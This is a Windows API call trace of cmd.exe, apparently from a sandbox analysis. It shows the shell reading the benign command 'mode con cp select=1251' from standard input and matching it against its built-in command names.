	[0137.462] ??_V@YAXPEAX@Z () returned 0x1
	[0137.463] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.463] GetFileType (hFile=0x248) returned 0x3
	[0137.463] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0137.463] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xb15814f538 | out: TokenHandle=0xb15814f538*=0x0) returned 0xc000007c
	[0137.463] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xb15814f538 | out: TokenHandle=0xb15814f538*=0x94) returned 0x0
	[0137.463] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xb15814f4e8, TokenInformationLength=0x4, ReturnLength=0xb15814f4f0 | out: TokenInformation=0xb15814f4e8, ReturnLength=0xb15814f4f0) returned 0x0
	[0137.467] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xb15814f4f0, TokenInformationLength=0x4, ReturnLength=0xb15814f4e8 | out: TokenInformation=0xb15814f4f0, ReturnLength=0xb15814f4e8) returned 0x0
	[0137.467] NtClose (Handle=0x94) returned 0x0
	[0137.467] _vsnwprintf (in: _Buffer=0x7ff7c2127f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xb15814f378 | out: _Buffer="\r\n") returned 2
	[0137.468] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.468] GetFileType (hFile=0x254) returned 0x3
	[0137.468] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0137.468] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xb15814f348, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f348*=0x2, lpOverlapped=0x0) returned 1
	[0137.468] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c211bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0137.468] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x288610e0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0137.468] malloc (_Size=0x107ce) returned 0x288610f0060
	[0137.468] _vsnwprintf (in: _Buffer=0x288610f0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xb15814f388 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0137.468] _vsnwprintf (in: _Buffer=0x288610f0086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xb15814f388 | out: _Buffer=">") returned 1
	[0137.468] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.469] GetFileType (hFile=0x254) returned 0x3
	[0137.469] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.469] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0137.469] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xb15814f378, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f378*=0x14, lpOverlapped=0x0) returned 1
	[0137.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.469] GetFileType (hFile=0x248) returned 0x3
	[0137.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0137.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0137.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0137.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.470] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0137.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.470] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0137.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.470] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0137.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.470] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0137.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.470] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0137.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.471] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0137.471] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.471] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.471] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0137.471] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.471] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.471] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0137.471] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.471] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.471] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0137.471] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.471] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.471] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0137.471] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.471] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.471] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0137.472] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.472] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.472] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0137.472] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.472] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.472] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0137.472] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.472] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.472] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0137.472] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.472] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.472] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0137.472] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.472] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.472] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0137.472] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.472] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.473] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0137.473] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.473] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.473] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0137.473] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.473] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.473] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0137.473] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.473] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.473] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0137.473] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.473] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.473] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7c2119970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb15814f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesRead=0xb15814f6d8*=0x1, lpOverlapped=0x0) returned 1
	[0137.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=1, lpWideCharStr=0x7ff7c2123c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0137.474] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.474] GetFileType (hFile=0x248) returned 0x3
	[0137.474] _get_osfhandle (_FileHandle=0) returned 0x248
	[0137.474] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.474] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.474] GetFileType (hFile=0x254) returned 0x3
	[0137.474] _get_osfhandle (_FileHandle=1) returned 0x254
	[0137.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7c2119970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0137.474] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7c2119970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xb15814f678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7c2119970*, lpNumberOfBytesWritten=0xb15814f678*=0x18, lpOverlapped=0x0) returned 1
	[0137.475] GetProcessHeap () returned 0x28860f10000
	[0137.475] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x4012) returned 0x28860f18e90
	[0137.475] GetProcessHeap () returned 0x28860f10000
	[0137.475] RtlFreeHeap (HeapHandle=0x28860f10000, Flags=0x0, BaseAddress=0x28860f18e90) returned 1
	[0137.475] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0137.475] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0137.475] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0137.475] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0137.475] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0137.475] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0137.475] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0137.475] GetProcessHeap () returned 0x28860f10000
	[0137.475] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0xb0) returned 0x28860f177c0
	[0137.475] GetProcessHeap () returned 0x28860f10000
	[0137.475] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x1a) returned 0x28860f16330
	[0137.476] GetProcessHeap () returned 0x28860f10000
	[0137.476] RtlAllocateHeap (HeapHandle=0x28860f10000, Flags=0x8, Size=0x38) returned 0x28860f16500
	[0137.477] GetConsoleOutputCP () returned 0x1b5
	[0137.618] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c211fbb0 | out: lpCPInfo=0x7ff7c211fbb0) returned 1
	[0137.618] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0137.683] GetConsoleTitleW (in: lpConsoleTitle=0xb15814f4c0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0137.687] malloc (_Size=0xffce) returned 0x28861100840
	[0137.687] ??_V@YAXPEAX@Z () returned 0x28861100840
	[0137.688] malloc (_Size=0xffce) returned 0x28861110820
	[0137.688] ??_V@YAXPEAX@Z () returned 0x28861110820
	[0137.689] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0137.689] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0137.689] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0137.689] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0137.689] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0137.689] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0137.689] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0137.689] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0137.689] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0137.689] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0137.689] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0137.689] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0137.689] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0137.689] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0137.689] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0137.689] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0137.689] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0137.689] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0137.689] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0137.689] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0137.689] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0137.689] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0137.689] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0137.689] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0137.689] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0137.689] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0137.690] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0137.690] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0137.690] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0137.690] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0137.690] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0137.690] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0137.690] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0137.690] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0137.690] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0137.690] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0137.690] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0137.690] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0137.690] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0137.690] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0137.690] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0137.690] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
